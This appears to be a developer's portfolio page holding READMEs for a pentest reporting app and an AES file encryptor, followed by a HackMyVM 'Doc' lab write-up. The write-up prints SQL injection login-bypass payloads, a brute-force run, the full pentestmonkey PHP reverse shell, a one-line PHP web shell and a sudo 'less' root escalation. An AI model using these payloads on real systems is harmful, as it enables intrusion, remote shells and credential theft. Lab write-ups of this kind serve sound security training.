
![Belle Header](https://i.ibb.co/CptY9gzM/title2.png)

# BELLE

## 🔐 What is Belle and what is it for?

*In summary:*
Belle is a cross-platform desktop application (Windows, Linux, and macOS) designed for the creation and management of cybersecurity reports, especially for pentesting. It allows users to structure findings, add evidence, and generate professional reports in various formats.

> [!NOTE]
> Disclaimer: This is only a tool for creating reports.

*Some report examples using BELLE:*

[Doc](https://drive.google.com/file/d/1AUxPmv_p5vBa8ajfXQF_-snrgrmgg8Ly/view?usp=sharing)

[Vulnversity](https://drive.google.com/file/d/1gkD94lRSYaorLr0cYcpJn_2-CPHzUlEO/view?usp=sharing)

---

**💜 Belle is cross-platform, working on Windows, Linux, and macOS.**

Example:
A security analyst can document vulnerabilities found during an audit, include screenshots, code snippets, and recommendations, then export the complete report to PDF or LaTeX with just a few clicks.

*In detail:*
Belle facilitates the organization of report phases, the addition of detailed entries for each finding (with fields for severity, description, recommendations, shell commands, code snippets, URLs, and images). Its focus is on efficiency and customization, allowing for the integration of logos and export to industry-standard formats.

![UI](https://i.postimg.cc/rFXXXsCH/op7.png)

![UI2](https://i.postimg.cc/PrYHPY5P/Captura-de-pantalla-2026-02-20-185209.png)

### Version

**BELLE v2.0.0**

### 📦 Requirements

- **Go v1.20+** 
- **Node.js 16.0+** (For frontend dependency management)
- **Wails CLI v2.0+** (For building and running the application)
- **Pandoc** (Document conversion tool, essential for PDF/LaTeX export)
- **A LaTeX distribution (e.g., TeX Live or MiKTeX)** (Required for high-quality PDF generation)

## ❓ Features

- **Pentesting Report Generation:** Create structured reports with phases, findings, and details.
- **Integrated Markdown Editor:** Allows content editing using Markdown.
- **Vulnerability Management:** Add, edit, and delete vulnerability entries with rich detail fields.
- **Flexible Export:** Export reports to PDF, LaTeX, Markdown, and a proprietary `.belle` format for easy collaboration.
- **Multimedia Support:** Insert images, tables, code snippets, and URLs into findings.
- **Visual Customization:** Include client logos, cover images, and color scheme customization.
- **Multi-language Support:** User interface and report templates available in Spanish and English.
- **LLM Integration (Optional):** Assistance for drafting recommendations or improving text using Gemini, Claude, or OpenRouter.

### 🧑‍💻 Technical Characteristics

- **Backend:** Go (with the Wails framework for frontend integration).
- **Frontend:** Svelte (a reactive framework for the user interface).
- **State Management:** Go's Context API, Svelte stores.
- **Build and Packaging:** Wails and Vite.
- **Document Generation:** Pandoc for Markdown to LaTeX/PDF conversion.
- **Image Handling:** Backend processing and resizing of images.
- **Persistence:** Project and configuration storage in JSON files.

### Structure
The `BELLE` project follows an organized structure:
- `app.go`: Contains the main Go backend logic, interacting with the frontend via Wails.
- `main.go`: Entry point for the Wails application.
- `structs.go`: Defines data structures used in the project (e.g., `Vulnerability`, `BelleProject`).
- `frontend/`: Contains all frontend code (Svelte, JavaScript, CSS).
- `translations.json`: Application translation file.
- Other configuration and resource files.

## 💻 Installation

To install and run Belle, follow these steps:

1.  **Clone the repository:**
    ```bash
    git clone https://github.com/aiskoa/BELLE.git
    cd BELLE
    ```
2.  **Install Node.js dependencies:**
    ```bash
    npm install
    ```
3.  **Compile and run the application:**
    Ensure you have Go, Node.js, and the Wails CLI installed.
    ```bash
    wails build # To build the executable
    wails dev   # To run in development mode
    ```
    If you encounter errors when exporting to PDF, ensure you have Pandoc and a LaTeX distribution (like TeX Live or MiKTeX) installed and configured in your PATH.

---

### Example Function

An example of how to interact with Belle's backend from the frontend is the `ExportMarkdown` function. This function takes project data and exports it to a Markdown file.

```go
func (a *App) ExportMarkdown(projectData string) (string, error) {
	// Prevent race conditions for Markdown export
	a.exportMDMutex.Lock()
	defer a.exportMDMutex.Unlock()

	runtime.EventsEmit(a.ctx, "export-progress", map[string]interface{}{"type": "markdown", "stage": "start", "percent": 5})
	var project BelleProject
	err := json.Unmarshal([]byte(projectData), &project)
	if err != nil {
		runtime.MessageDialog(a.ctx, runtime.MessageDialogOptions{
			Type:    runtime.ErrorDialog,
			Title:   "Error",
			Message: "Could not parse project data for Markdown: " + err.Error(),
		})
		return "", err
	}

	runtime.EventsEmit(a.ctx, "export-progress", map[string]interface{}{"type": "markdown", "stage": "generating content", "percent": 40})
	md, err := a.GenerateMarkdown(project, nil) // Calls an internal function to generate Markdown content
	if err != nil {
		runtime.MessageDialog(a.ctx, runtime.MessageDialogOptions{
			Type:    runtime.ErrorDialog,
			Title:   "Error",
			Message: "Could not generate Markdown: " + err.Error(),
		})
		return "", err
	}

	// Opens a dialog for the user to save the file
	filePath, err := runtime.SaveFileDialog(a.ctx, runtime.SaveDialogOptions{
		Title:           "Export to Markdown",
		DefaultFilename: "report.md",
		Filters: []runtime.FileFilter{
			{DisplayName: "Markdown (*.md)", Pattern: "*.md"},
		},
	})
	if err != nil {
		return "", err
	}
	if filePath == "" {
		return "", nil // User canceled
	}

	runtime.EventsEmit(a.ctx, "export-progress", map[string]interface{}{"type": "markdown", "stage": "saving file", "percent": 80})
	err = os.WriteFile(filePath, []byte(md), 0644) // Writes the content to the file
	if err != nil {
		return "", err
	}

	runtime.EventsEmit(a.ctx, "export-progress", map[string]interface{}{"type": "markdown", "stage": "finished", "percent": 100})
	runtime.MessageDialog(a.ctx, runtime.MessageDialogOptions{
		Type:    runtime.InfoDialog,
		Title:   "Success",
		Message: "Markdown report exported successfully.",
	})
	return "ok", nil
}
```

> Make sure you have the latest version of Wails, Node and Go installed on your computer.

**ATTENTION!!**

If you just want to use it, you can download it from github or from the official site according to your system.

**From Official Site:**
[⬇ Download Belle](https://edurne-ac.github.io/Belle-Reports/)

---

### TODO List

- [x] LLM
- [ ] Password Lock PDF
- [ ] Better UI
- [ ] Templetes

### 🤝 Contributing
Contributions, issues and feature requests are welcome! Feel free to check issues page.

### ❤️ Show your support
Give a ⭐️ if this project helped you!

### 📝 License

Copyright © 2026 [aiskoa](https://aiskoa.vercel.app). This project is [MIT](https://github.com/Edurne-AC/BELLE/blob/main/LICENSE) licensed.


Belle Pentesting Report Tool


![GIE Header](https://i.ibb.co/KcDrDJvw/passpaititle.png)

# GIE

## 🔐 What is GIE and what is it for?

*In summary:*
An encryptor and decryptor for files and folders for Windows, Linux and macOS, written in GO using AES.

**💜 GIE is cross-platform, it works on Windows, Linux and macOS.**

Example:
*You can encrypt your file on Windows and decrypt it on Linux or vice versa*.

*In detail:*
GIE (*Go-based Information Encryptor*), is a cross-platform desktop application built using the **Wails** framework. GIE is designed for the secure encryption and decryption of files and directories, leveraging robust cryptographic primitives implemented in **Go**. The application aims to provide a user-friendly interface for managing sensitive data.

![Example of use](https://i.postimg.cc/6pxZfhm8/Desktop2025-08-0906-27-27p-m-ezgif-com-optimize.gif)

### Version

**GIE v1.2.5**

### 📦 Requirements

- **Go v1.24+**
- **Wails v2.10+**
- **Node v22.17+**

## ❓ Features

- Encrypts and decrypts files and folders with AES, for any file type.
- GIE follows a client-server architecture facilitated by the Wails framework.
- Possibility of adding hints.
- Possibility of sharing files between operating systems.
- 3 levels of protection (Low, Normal, High).
- Possibility of adding an encryption channel for greater security.
- Lightweight and easy to use.
- Intuitive and friendly user interface.
- Open Source!

### 🧑‍💻 Technical Features
Encrypt and decrypt your files and folders with AES, for any file type: *jpg*, *zip*+, *mp4*, _mp3_, _docx_, _pdf_, etc...

GIE follows a client-server architecture facilitated by the Wails framework. * Frontend (Client): Developed with React (**Svelte**) and **TypeScript**, responsible for the user interface and interaction. It communicates with the **Go** backend through Wails' inter-process communication (IPC) mechanisms. * Backend (Server): Implemented in Go, it handles all the central logic, including file operations, cryptographic processes and system interactions.

GIE employs a hybrid encryption scheme that combines **symmetric encryption (AES CTR)** for data confidentiality and a **Message Authentication Code (HMAC-SHA256)** for data integrity and authenticity. Key derivation is performed using PBKDF2.

The encryption and HMAC keys are derived from the user's password using PBKDF2 (Password-Based Key Derivation Function 2) with SHA256 as the pseudorandom function. Separate salts are used for the AES key and the HMAC key to prevent cross-protocol attacks. The number of iterations and the key length are configurable according to the chosen encryption level (Low, Normal, High).

The PBKDF2 function is defined as:

$$ 
DK = PBKDF2

(PRF,Password,Salt,Iterations,KeyLength)
$$ 

Where:
- `DK`: Derived Key
- `PRF`: Pseudorandom Function (HMAC SHA256 in this case)
- `Password`: Password provided by the user
- `Salt`: Random salt (16 bytes)
- `Iterations`: Number of iterations (e.g., *10,000 for Low*, *800,000 for Normal*, *12,000,000 for High*)
- `KeyLength`: Desired length of the derived key (16 bytes for AES-128, 32 bytes for AES-256)

AES in Counter (CTR) mode is used to encrypt the file content. CTR mode transforms a block cipher into a stream cipher, allowing parallel encryption/decryption and direct access to any part of the ciphertext. A unique and randomly generated 16-byte Initialization Vector (IV) is used for each encryption operation. The CTR mode encryption process can be conceptually represented as:

$$ 
C_{i} = E_{K}(Nonce||Counter_{i}) \oplus P_{i}
$$ 

Where:
- `Ci`: i-th block of ciphertext
- `EK`: AES encryption function with key K
- `Nonce`: A unique value for each encryption (part of the IV)
- `Counteri`: A counter that is incremented for each block
- `Pi`: i-th block of plaintext
- `⊕`: Bitwise XOR operation

*HMAC-SHA256* is used to ensure the integrity and authenticity of the encrypted data and its associated metadata.
The HMAC is calculated over the entire encrypted file, including the metadata header (hint length, hint, channel, encryption level code, AES salt, HMAC salt, CTR IV) and the ciphertext. This prevents tampering with both the data and its critical parameters.

The HMAC function is defined as:

$$ 
HMAC_{K}(m)=H((K\oplus opad)

||H((K \oplus ipad)||m))
$$ 

Where:
- `H`: Hash function (SHA256 in this case)
- `K`: Secret key (derived HMAC key)
- `m`: Message (metadata || ciphertext)
- `ipad`: Inner padding (0x36 repeated)
- `opad`: Outer padding (0x5C repeated)
- `||`: Concatenation

### Method Structure

| Field             | Size (Bytes) | Description                                                                   |
|-------------------|----------------|-------------------------------------------------------------------------------|
| Hint              | Variable       | Length of the hint provided by the user for the file                            |
| Channel           | 2              | uint16, a user-defined channel for grouping files                |
| Encryption Level Code | 1              | byte, code representing the encryption strength (0=Low, 1=Normal, 2=High) |
| AES Key Salt      | 16             | Random salt for AES key derivation                              |
| HMAC Key Salt     | 16             | Random salt for HMAC key derivation                             |
| CTR IV            | 16             | Random Initialization Vector for AES-CTR                               |
| Ciphertext        | Variable       | Encrypted content of the original file                                        |
| HMAC Tag          | 32             | HMAC-SHA256 of all preceding data (metadata + ciphertext)        |

GIE provides a robust and secure solution for encrypting files and directories, built on modern cross-platform technologies. Its design prioritizes both security through solid cryptographic practices and usability through a responsive graphical interface.

The following sequence diagram shows the complete workflow of file processing with real function calls:
![Application Flow](https://i.ibb.co/JjVCxXnJ/032ff1f6-8b79-427b-a38d-b161ebd79422.png)

The backend is based on a central application structure that acts as the main application controller and exposes methods to the frontend through the Wails framework.
![Application structure and main components](https://i.ibb.co/mVcC1jbL/image.png)

If you want to know more in depth, you can consult the [GitHub Repository](https://github.com/aiskoa/GIE) for additional details and usage examples.

You can also consult with [DeepWiki](https://deepwiki.com/aiskoa/GIE)

## 💻 Installation

Run the commands according to your case (Win or Linux)

Clone or download this repository

```batch
git@github.com:aiskoa/GIE.git
```

Change directory

```batch
cd GIE
```

Install the dependencies

```batch
npm install
```
And run

`wails build` to compile the application

> Make sure you have the latest version of Wails, Node and Go installed on your computer.

**ATTENTION!!**

If you just want to use it, you can download it from github or from the official site according to your system.

**From Official Site:**
[⬇ Download GIE](https://gie-aiskoa.vercel.app)

**Minimum Requirements:**
- Windows 10/11 / Debian / macOS Ventura or later
- 1 GB of disk space
- 2 GB of RAM

---

## 🔒 How to Encrypt?

> At the moment it is only available through the GUI.

To **Encrypt** a folder or file

- **Drag or search for the file in the program (Graphical Interface)**
- **Enter a password (Important to remember it)**
- Write a hint for the password (Optional)
- Choose the encryption channel (Optional)
- Choose the encryption level (Optional)
- **Click on "Encrypt"**
- **This converts the file to (.gie)**

Once the file is encrypted in **.gie** it cannot be opened, read or modified.
Keep in mind that GIE works for any type of file, even for large files.

👀 **NOTE** IF YOU ACCIDENTALLY ENCRYPT ANY FILE OR FUNCTIONALITY OF **GIE** THE ONLY WAY TO RESTORE IT IS BY REINSTALLING THE PROGRAM!

**⚠️⚠️ IMPORTANT ⚠️⚠️**

- The only way to "recover" the file again is by decrypting it with the **GIE** program.
- If you want to share the file with your colleague, friend or work team, you will have to provide them with the .gie, the password used and the channel (if applicable).
- **IF YOU FORGET OR LOSE THE PASSWORD, YOU WILL NOT BE ABLE TO RECOVER THE FILE IF A HINT WAS NOT WRITTEN.**
- **IF YOU PUT A CHANNEL YOU MUST ALSO REMEMBER IT OTHERWISE YOU WILL NOT BE ABLE TO RECOVER THE FILE.**

![Example encrypting a PDF](https://i.postimg.cc/6pxZfhm8/Desktop2025-08-0906-27-27p-m-ezgif-com-optimize.gif)

## 🔓 How to Decrypt?

> At the moment it is only available through the GUI.

To **Decrypt** a file

- **Drag or search for the (.gie) file in the program (Graphical Interface)**
- **Enter the password (Required)**
- Choose the encryption channel (Optional)
- **Click on "Decrypt"**
- **This converts the file to its natural state**

Keep in mind that it will only work for encrypted **.gie** files.
It only works with files encrypted by GIE (Go-based Information Encryptor) current v1.2.5 or higher.

👀 **NOTE** IT WILL NOT WORK WITH .GIE FILES VERSION PYTHON, ONLY WITH THE VERSION WRITTEN IN GO!!

- The only way to "recover" the file again is by decrypting it with the **GIE** program.
- If you want to share the file with your colleague, friend or work team, you will have to provide them with the .gie, the password used and the channel (if applicable).
- **IF YOU FORGET OR LOSE THE PASSWORD, YOU WILL NOT BE ABLE TO RECOVER THE FILE IF A HINT WAS NOT WRITTEN.**
- **IF YOU PUT A CHANNEL YOU MUST ALSO REMEMBER IT OTHERWISE YOU WILL NOT BE ABLE TO RECOVER THE FILE.**

![Example decrypting a PDF](https://i.postimg.cc/0yGwWJTc/ezgif-com-optimize.gif)

---

### Directory encryption function

```go
func (a *App) EncryptDirectory(dirPath string, password string, hint string, encryptionLevel string, channel int) string {
	if password == "" {
		return "Encryption failed: password cannot be empty."
	}

	// Check if path is actually a directory
	isDir, err := a.IsDirectory(dirPath)
	if err != nil {
		return fmt.Sprintf("Error checking if path is directory: %v", err)
	}
	if !isDir {
		return "Selected path is not a directory."
	}

	// Get all files in directory
	files, err := a.GetFilesInDirectory(dirPath)
	if err != nil {
		return fmt.Sprintf("Error getting files from directory: %v", err)
	}

	if len(files) == 0 {
		return "No files found in directory to encrypt."
	}

	// Track results
	var results []string
	successCount := 0

	for i, file := range files {
		fmt.Printf("Encrypting file %d/%d: %s\n", i+1, len(files), file)

		result := a.EncryptFile(file, password, hint, encryptionLevel, channel)
		if result == "success" {
			successCount++
			results = append(results, fmt.Sprintf("✓ %s", filepath.Base(file)))
		} else {
			results = append(results, fmt.Sprintf("✗ %s: %s", filepath.Base(file), result))
		}
	}

	// Return summary
	summary := fmt.Sprintf("Directory encryption completed: %d/%d files encrypted successfully", successCount, len(files))
	if successCount < len(files) {
		summary += "\n\nDetailed results:\n" + strings.Join(results, "\n")
	}

	return summary
}
```

### Directory decryption function

```go
func (a *App) DecryptDirectory(dirPath string, password string, channel int) string {
	if password == "" {
		return "Decryption failed: password cannot be empty."
	}

	// Check if path is actually a directory
	isDir, err := a.IsDirectory(dirPath)
	if err != nil {
		return fmt.Sprintf("Error checking if path is directory: %v", err)
	}
	if !isDir {
		return "Selected path is not a directory."
	}

	// Get all .gie files in directory
	var encryptedFiles []string

	err = filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}

		// Only add .gie files
		if !info.IsDir() && strings.HasSuffix(path, ".gie") {
			encryptedFiles = append(encryptedFiles, path)
		}
		return nil
	})

	if err != nil {
		return fmt.Sprintf("Error scanning directory: %v", err)
	}

	if len(encryptedFiles) == 0 {
		return "No encrypted files (.gie) found in directory to decrypt."
	}

	// Track results
	var results []string
	successCount := 0

	for i, file := range encryptedFiles {
		fmt.Printf("Decrypting file %d/%d: %s\n", i+1, len(encryptedFiles), file)

		result := a.DecryptFile(file, password, false, channel)
		if result == "success" {
			successCount++
			results = append(results, fmt.Sprintf("✓ %s", filepath.Base(file)))
		} else {
			results = append(results, fmt.Sprintf("✗ %s: %s", filepath.Base(file), result))
		}
	}

	// Return summary
	summary := fmt.Sprintf("Directory decryption completed: %d/%d files decrypted successfully", successCount, len(encryptedFiles))
	if successCount < len(encryptedFiles) {
		summary += "\n\nDetailed results:\n" + strings.Join(results, "\n")
	}

	return summary
}
```

---

### 📖 Documentation

[See the Documentation and User Guides](https://gie-aiskoa.vercel.app/docs/)

## 📝 Changelog

[See the Changelog](https://gie-aiskoa.vercel.app/changelog)

### ✍️ To-Do List

- [x] Password hint
- [ ] Theme change
- [ ] Android support
- [ ] iOS support
- [ ] Possibility of use from terminal without GUI (API or MCP)
- [x] Password check
- [x] Reinforced AES
- [x] User interface menu
- [x] Encryption of complete folders and directories

### 📝 License

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). This project is licensed [MIT](https://github.com/aiskoa/GIE/blob/main/LICENSE).


GIE Encrypt and Decrypt files


# "Doc" Machine (HackMyVM)

[📝 Download PDF Report](https://drive.google.com/file/d/1AUxPmv_p5vBa8ajfXQF_-snrgrmgg8Ly/view?usp=sharing)

[🖥️ Machine Link](https://hackmyvm.eu/machines/machine.php?vm=Doc)

&nbsp;

> *Difficulty Level: ⭐*

&nbsp;

The following is the pentesting report for the **Doc (OTOMS)** machine from **HackMyVM** with an *Easy* difficulty.
It will cover the use of Burp Suite to the use of native commands in Linux.

Summary:

* Port scanning
* SQL Injection
* Vulnerability Exploitation
* Remote Reverse Shell
* Privilege Escalation

**IMPORTANT** You must have a virtual machine or an auditing operating system with root privileges and an Internet connection.

## Methodology

* Reconnaissance
* Enumeration
* Vulnerability Scanning and Analysis
* Exploitation
* Post-exploitation

**Reconnaissance**: Answers the questions "What will be attacked?" and "What will be part of the test?"

**Enumeration**: All possible information is collected from what will be attacked to perform the test without setbacks.

**Vulnerability Scanning and Analysis**: Identifies weaknesses in what will be attacked, ports, processes, services, among others.

**Exploitation**: Here the attack begins using all the above and with the correct tools.

**Post-exploitation**: Possible extra vulnerabilities are sought or what else can be attacked.

**Test Report**: Everything that is done during the audit is written down.

## Reconnaissance and Enumeration

During the pre-agreement, it was established that the Target machine is on the Network under the IP **192.168.50.129**, so this becomes **the target machine** and on our side, our machine is represented with the IP **192.168.50.131**.

Thanks to this, we proceed to launch a ping to the victim machine and wait for a response.

Once we have the response from the victim machine, we confirm by the TTL that we are facing a **Linux** machine, we still do not know its distribution and version but we will know that later.

With this information, we can proceed to launch the scan using **Nmap** and wait for it to give us the result, in this case, we use a high *--min-rate* since we are in a controlled laboratory and we can launch multiple traces.

The command broken down:

| Field | Value |
| --- | --- |
| `-sV` | Tries to determine the version of the services that are running |
| `-p <x> or -p-` | Port scan for port `<x>` or all |
| `-Pn` | Disables host detection and open port scanning |
| `-A` | Enables OS and version detection, integrates more scripts |
| `-sC` | Scans the default Nmap scripts |
| `-v` | Verbose mode |
| `-sS` | TCP SYN port scan |
| `-sU` | UDP scan |

**Shell Commands:**

```bash
nmap -p- -sV 192.168.50.129 --min-rate 5000 -oN all_ports.nmap -Pn

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>
```

Being on a local network we can also execute the command:

```bash
sudo arp-scan --localnet"
```

**Description:**
Once the previous command was executed, it showed us the following services running on the system.

```bash
Nmap scan report for 192.168.50.129
Host is up (0.00077s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0
| http-cookie-flags:
|   /: 
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: nginx/1.18.0
|_http-title: Online Traffic Offense Management System - PHP
MAC Address: 08:00:27:8A:A8:D3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds
```

Here the vulnerabilities of the listed services are enumerated

**nginx 1.18.0:**:

**CVE-2021-23017**: A buffer overflow vulnerability in the NGINX HTTP/2 implementation, which allows remote attackers to execute arbitrary code.

**CVE-2021-3618**: A vulnerability in the NGINX resolver that allows remote attackers to cause a denial of service (DoS) or execute arbitrary code.

**CVE-2020-11724**: A vulnerability in NGINX's HTTP request processing that allows remote attackers to cause a denial of service (DoS).

Exploits:

**NGINX HTTP/2 Request Flooding**: An exploit that takes advantage of the CVE-2021-23017 vulnerability, allowing attackers to flood the server with HTTP/2 requests, causing a denial of service (DoS).

**NGINX Resolver Vulnerability**: An exploit that takes advantage of the CVE-2021-3618 vulnerability, which allows attackers to cause a denial of service (DoS) or, potentially, execute arbitrary code.

### Feat

As soon as we enter the site we notice that it does not load completely, which is strange, when checking and hovering over the login we notice that it should redirect to a domain **doc.hmv** but it does not.

![Screenshot of Index page](https://i.postimg.cc/PrXjyPPv/sitio-web-victima.png)

![Screenshot of de tools](https://i.postimg.cc/s2cPp68h/confirmamos-el-dominio.png)

So how do we get those resources to load as they should? We must modify in our system how domains are handled, for them we go to **/etc/hosts** and modify it with nano, there we add the domain doc.hm to the victim ip 192.168.50.129 and save, once this is done and when reloading the page we notice that the site now loads perfectly along with all the resources and images, so we are free to click the login button to see where it redirects us.

![Screenshot of /etc/hosts](https://i.postimg.cc/zDMCSRd0/modificando-hosts.png)

Now we can see that everything loads correctly including the login panel.

![Screenshot of index otoms](https://i.postimg.cc/B6nTN59w/carga.png)

![Screenshot of admin login](https://i.postimg.cc/Kvw0zWSc/admin-login.png)

We come across a login for administrators, unfortunately we do not have access to it, we try default credentials like admin admin or admin password, but it is not successful. We can try to fuzz the domain to see more directories, but for now we will not do it. We can also try by brute force and find out the user, since we did not find anything else that is useful on the site we use that admin login, so first let's try with burp suite, and we intercept the response and we find something interesting.

It is a sql statement to the database that responds with incorrect

```sql
SELECT * FROM users WHERE username = 'admin' AND password = md5('admin')
```

## Exploitation

### SQLi

We realize that this sql statement is not sanitized so you can do sqli (**a sql injection**) with this we can manage to return data from a table. We put the empty user and put a boolean statement 1=1 that this is always correct, and something false with something correct in OR will always be something correct. so we can try with something simple, like this

![Screenshot of SQLi consult](https://i.postimg.cc/C5d4MGcf/burpsuite1.png
)

```sql
SELECT * FROM users WHERE username ='' OR 1=1#' AND password = md5('admin')
```

![Screenshot of SQLi](https://i.postimg.cc/8PZV0N6K/sqli-enviado.png)

As such, the sqli injection is already a form of exploitation.

By putting the statement and reloading we manage to enter. in the same way we can put the sql statement directly in the login form.

**Recommendation:** Sanitize the forms for sql queries, add an image url, symbols like **" (°’#* "** can cause similar problems.

```sql
' OR 1=1-- -
```

or

```sql
' OR 1=1#
```

Upon entering we can view the users, edit their information, edit the entire site, change its name or other data, as well as see the administrator users or those with access.

There we see that the username of these are: **vagrant**, **jsmith** and the user with whom we enter **adminyo** we can edit this but we cannot edit their password.
So we get to work to find the password of this vagrant user using burp suite for brute force.

![Screenshot of users panel](https://i.postimg.cc/6p8FbRwq/users-edit.png)

### Finding the password for vagrant

We will use **brute force** with *rockyou.txt* but to save some time we can first try with the first 100 lines. with the command

bash
```bash
head-n 100 /usr/share/wordlist/rockyou.txt > dicpec.txt
```

Which will help us for brute force Once the dictionary is loaded and the marker is set, we start the attack, if the correct password is in the dictionary, the server will respond with a handshake of ok or success response. Either by status code or by the length of the response.

So the dictionary tries all those passwords, vagrant iloveyou, vagrant 12345, vagrant princess, and so on until it finds the correct one.

So we find that **chelsea** is the password for the vagrant user since it responded with status success, now we can enter the panel with this user. vagrant, chelsea which is a Windows server administrator user according to the dashboard

![Brute force with rockyou](https://i.postimg.cc/Y041BpS6/fuerza-bruta-rock-you.png)

![Screenshot of password](https://i.postimg.cc/br6F3YB1/vagrant-password.png)

We notice that vagrant is a windows server administrator user, this may probably be helpful for later or another machine.

### LFI Reverse Shell

Description: As we know the site is programmed in PHP and if we assume that the site is not entirely well programmed due to the ease of entry thanks to the sql injection we can also expect that we can upload corrupt files or of another type to the image upload inputs as we saw in the vulnversity machine of tryhackme, being php we have to find the extension that can be accepted by php to upload a reverse shell, so we will try with the .php extension as a start.

That can be useful for some reverse shells that help us and modify them or use the revshells site and look for some php and just enter the necessary data. And then after that we upload the reverse shell as if it were an image and surprisingly it is uploaded without any problem, and if we point to where that file was uploaded we can generate the session, you just have to right click on the image.

We put ourselves in listening mode for the port assigned in the reverse shell in this case 4444 with netcat.

```php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '<IP>';
$port = <PORT>;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

```bash
locate rev php
```

```php
<?php system($_GET['cmd']);?>
```

[Revshells](https://www.revshells.com)

And we listen with netcat like this:

```bash
nc -lnvp <IP>
```

And that's it.

![Terminal](https://i.postimg.cc/kgRhvmFt/ww-data.png)

### Shell treatment

This step is important because sometimes commands like ls, nano or less are not displayed correctly, so we can try this:

```bash
python -c 'import pty:pty.spawn("/bin/bash")'
```

And if the errors persist we can try a more elaborate shell like the following

We execute the following:

```bash
script /dev/null -c bash
```

It gives us as a result: *Script started, output log file is ‘/dev/null’. And we have to reconnect with **CTRL + Z** We reconnect with:

```bash
stty raw-echo;fg
```

Now we write **reset** Then it will ask us what type of terminal we want, so we write **xterm** and now we have a better terminal, but not good enough.

Now we have to export some parameters, we write

```bash
export SHELL=bash TERM=xterm

# We can also use SHELL=/bin/bash

# To see the dimensions of our console
stty size
stty -a

# To resize the console by adjusting the parameters
stty rows <ROWS> columns <COLUMNS>
```

### We escalate to the user bella

In the directory where the site is located we can find its configurations and a flag:

After examining several .php files in the directory we came across **initialize.php** where we found the configuration for the database connection, **user bella** and **password bell4yTU**, it is to access the database but credentials are commonly reused, *perhaps these credentials can also be used to access a user on the machine*. Using the cat command to see the */etc/passwd* file we find that the user bella exists and has a home and a shell in bash on this Debian server, there is also MySQL Server, root and bella.

```bash
cd ~/html/traffic_offense
cat initialize.php
```

![Initialize php](https://i.postimg.cc/6qDC9D7D/Initialize-php.png)

With the `bash-i` command we could improve the current shell. (We can also use the previous ones)

## Post-Exploitation

**Severity:** Critical

So knowing the above we connect to the user bella with `su bella` and the password **bell4yTU** and great!, we have access to the user, but wow.. this one *does not have root permissions*, so we will look for a way to be able to upgrade to root.

Using the **sudo -l** command we can see what it has access to as sudo and we notice that it has access to the **less command** which is an interactive file viewer, we can filter, see lines, search and we can also enter other commands while inside the tool with the **!** sign. So if we invoke a bash **!/bin/bash** having executed **sudo less {any file}** we will automatically become **root**, so it is a vulnerability, this tool should not have sudo permissions unless we want the user to have it and can be root.

We can see this same thing in GTFOBins with Sudo.

`sudo less /etc/profile`

Flag in bella's home directory:

> HMVtakemydocs

![Less command](https://i.postimg.cc/1zPcVhWS/comando-less.png)

![Root less](https://i.postimg.cc/zvj151Pf/root-less.png)

Okay, and now as root we can access the /root folder, where we will find the last flag.

> HMVfinallyroot

As a curiosity we connect to the db with bella's credentials and we can see in the users table, the hashed passwords of the users, in this case we already know that **chelsea** is the password for **vagrant** and using *crackstation* or any other tool for md5 we can see that the password for Administrator or **adminyo** is **admin123**

Trying those credentials now we connect more easily.

![Database](https://i.postimg.cc/vHcPGsKS/bd.png)

![adminyo](https://i.postimg.cc/8CVwdrzq/adminyo.png)

## Analysis and Conclusions

### Recommendations

- Sanitize queries and protect login forms against sql injections
- Filter the type of files that can be uploaded in the profile picture or any other input
- Activate Rate-limit so we block brute force requests
- Do not reuse passwords for services and much less for users
- Use stronger passwords admin123 is not reliable
- Disable unnecessary services and update site dependencies
